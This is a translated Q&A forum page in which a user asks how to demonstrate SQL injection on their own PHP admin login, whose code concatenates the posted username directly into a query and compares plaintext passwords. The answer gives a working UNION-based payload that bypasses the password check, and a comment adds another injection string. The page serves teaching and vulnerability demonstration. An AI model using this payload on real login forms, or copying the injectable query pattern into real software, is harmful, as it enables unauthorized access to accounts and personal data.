提问人:Timeassassin 提问时间:6/29/2022 更新时间:6/29/2022 访问量:269
如何进行 SQL 注入 [重复]
How to make an SQL injection [duplicate]
问:
我正在尝试在我在 php 上设置的站点上进行 sql 注入,以演示该站点的漏洞。目标是在不输入密码的情况下通过表单,甚至无需输入用户名即可通过表单会更好。这是管理登录保留区域的代码,我尝试了几种方式进入,但效果不佳
<?php
$link = @mysqli_connect("localhost", "root", "", "ISdbs");
if (mysqli_connect_errno()) {
echo "Connessione fallita: " . die(mysqli_connect_error());
}
$query = "SELECT username,password from utenti where username='" . $_POST['user'] . "';";
echo "Ho eseguito la seguente query <b>",$query,"</b>";
$result = @mysqli_query($link, $query);
if (@mysqli_num_rows($result) != 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
if ($row['password'] == $_POST['pass']) {
$ID = $_POST['user'];
echo "<h1 align='center' >benvenuto nell'area riservata</h1>";
echo "<p align='center'>cosa vuoi fare?</p>";
echo "<div'><ul'>
<li><a href='eliminaUtente.php?id=$ID'>Eliminare l'utente</a></li>
<li><a href='visualizzaCF.php?id=$ID'>Visualizza i tuoi dati segreti</a></li>
</ul></div>";
}
else
echo "<h1>username o password errati</h1>";
}
}
else
echo "<h1>username o password errati</h1>";
?>
sql 表有 7 个字段(CF、姓名、姓氏、电话、地址、用户名、密码),但在登录过程中仅使用用户名和密码。
答:
1赞
Salman A
6/29/2022
#1
如果目标是到达代码中的行,则需要发布以下用户名:h1
' union all select username, '' from utenti where '' = '
这将产生以下 sql(格式化后):
select username, password from utenti where username = ''
union all
select username, '' from utenti where '' = '';
这将返回表中的所有行,密码列将包含空白字符串。这应该满足检查,您的超级密码将在没有人知道任何密码的情况下执行。$row['password'] == $_POST['pass']
下一个:密钥或哈希会触发注入攻击吗?
评论
'; SELECT 'myPasswordString'
if ($row['password'] == $_POST['pass']) {